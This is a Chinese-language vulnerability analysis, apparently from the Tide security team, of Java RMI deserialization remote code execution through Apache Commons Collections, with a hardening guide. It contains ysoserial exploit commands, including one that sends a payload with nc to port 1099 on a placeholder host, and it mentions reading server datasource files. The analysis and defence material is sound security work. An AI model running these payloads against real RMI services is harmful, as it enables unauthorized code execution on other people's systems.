JAVA反序列化之 Rmi命令执行漏洞分析
字数 1375 2025-08-18 11:38:28

Java RMI反序列化远程命令执行漏洞深入分析与防御指南

一、漏洞背景与概述

Java反序列化漏洞最早由Gabriel Lawrence和Chris Frohoff在2015年1月28日的AppSecCali会议上披露,该漏洞利用Apache Commons Collections库实现任意代码执行。随后FoxGlove Security团队发布的详细分析报告证实了这一漏洞的严重性,影响范围包括:

  • WebLogic
  • WebSphere
  • JBoss
  • Jenkins
  • OpenNMS

该漏洞被称为"2015年最被低估的漏洞",尽管厂商发布了修复版本,但仍有大量系统受影响。

二、Java RMI技术基础

1. RMI定义

RMI(Remote Method Invocation)是J2SE的核心组件,支持开发基于Java的分布式应用。其特点包括:

  • 允许跨JVM(甚至跨网络)调用远程对象方法
  • 调用远程方法与调用本地方法语法一致
  • 默认使用序列化完成所有交互

2. RMI调用流程

  1. 客户端调用客户端辅助对象(stub)方法
  2. stub打包调用信息(变量、方法名)并发送至服务端辅助对象(skeleton)
  3. skeleton解包信息,定位实际调用的方法及对象
  4. 调用实际服务对象方法并返回结果给skeleton
  5. skeleton打包结果并发送给stub
  6. stub解包结果返回给客户端
  7. 客户端获得返回值

三、漏洞原理分析

1. 漏洞核心

  • 1099端口是Java RMI默认端口
  • RMI默认使用序列化完成交互
  • 当使用存在漏洞的Apache Commons Collections版本时
  • 攻击者可构造恶意序列化对象实现远程代码执行

2. 利用方式

利用工具:ysoserial

示例1:执行计算器

java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd

示例2:生成payload并通过nc发送

java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
nc xx.xx.xx.xx 1099 < groovypayload.bin

示例3:直接利用RMIRegistryExploit

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

3. 高级利用技术

  • 使用URLClassLoader方法实现回显
  • 查看服务器datasource文件内容

四、漏洞影响范围

截至2019年统计数据显示:

  • 中国开放1099端口的主机:12,310台
  • 用于RMI交互的主机:3,891台(占比31.6%)
  • 存在反序列化漏洞的主机:3,114台(占比25.29%)

五、防御与加固方案

1. 基础防护

  • 关闭RMI服务在公网的端口暴露
  • 及时删除项目中不必要的InvokerTransformer.class文件

2. 技术防护措施

使用SerialKiller临时补丁

  1. 将SerialKiller.jar置于classpath
  2. 替换应用代码中的java.io.ObjectInputStream为SerialKiller
  3. 配置可信类型控制策略(支持热加载)

主要特性:

  • Hot-Reload:热加载能力
  • Whitelisting:白名单控制
  • Blacklisting:黑名单过滤

3. 长期维护策略

  • 定期升级中间件(WebLogic、Apache、JBoss等)
  • 建立Java组件安全更新机制

六、安全研究资源

Tide安全团队(成立于2019年1月)专注于:

  • 网络攻防
  • Web安全
  • 移动终端安全
  • 安全开发
  • IoT/物联网/工控安全

了解更多:

  • 官网:http://www.TideSec.net
  • 关注公众号获取最新动态
Java RMI反序列化远程命令执行漏洞深入分析与防御指南 一、漏洞背景与概述 Java反序列化漏洞最早由Gabriel Lawrence和Chris Frohoff在2015年1月28日的AppSecCali会议上披露,该漏洞利用Apache Commons Collections库实现任意代码执行。随后FoxGlove Security团队发布的详细分析报告证实了这一漏洞的严重性,影响范围包括: WebLogic WebSphere JBoss Jenkins OpenNMS 该漏洞被称为"2015年最被低估的漏洞",尽管厂商发布了修复版本,但仍有大量系统受影响。 二、Java RMI技术基础 1. RMI定义 RMI(Remote Method Invocation)是J2SE的核心组件,支持开发基于Java的分布式应用。其特点包括: 允许跨JVM(甚至跨网络)调用远程对象方法 调用远程方法与调用本地方法语法一致 默认使用序列化完成所有交互 2. RMI调用流程 客户端调用客户端辅助对象(stub)方法 stub打包调用信息(变量、方法名)并发送至服务端辅助对象(skeleton) skeleton解包信息,定位实际调用的方法及对象 调用实际服务对象方法并返回结果给skeleton skeleton打包结果并发送给stub stub解包结果返回给客户端 客户端获得返回值 三、漏洞原理分析 1. 漏洞核心 1099端口是Java RMI默认端口 RMI默认使用序列化完成交互 当使用存在漏洞的Apache Commons Collections版本时 攻击者可构造恶意序列化对象实现远程代码执行 2. 利用方式 利用工具:ysoserial 示例1:执行计算器 示例2:生成payload并通过nc发送 示例3:直接利用RMIRegistryExploit 3. 高级利用技术 使用URLClassLoader方法实现回显 查看服务器datasource文件内容 四、漏洞影响范围 截至2019年统计数据显示: 中国开放1099端口的主机:12,310台 用于RMI交互的主机:3,891台(占比31.6%) 存在反序列化漏洞的主机:3,114台(占比25.29%) 五、防御与加固方案 1. 基础防护 关闭RMI服务在公网的端口暴露 及时删除项目中不必要的InvokerTransformer.class文件 2. 技术防护措施 使用SerialKiller临时补丁 : 将SerialKiller.jar置于classpath 替换应用代码中的java.io.ObjectInputStream为SerialKiller 配置可信类型控制策略(支持热加载) 主要特性: Hot-Reload:热加载能力 Whitelisting:白名单控制 Blacklisting:黑名单过滤 3. 长期维护策略 定期升级中间件(WebLogic、Apache、JBoss等) 建立Java组件安全更新机制 六、安全研究资源 Tide安全团队(成立于2019年1月)专注于: 网络攻防 Web安全 移动终端安全 安全开发 IoT/物联网/工控安全 了解更多: 官网:http://www.TideSec.net 关注公众号获取最新动态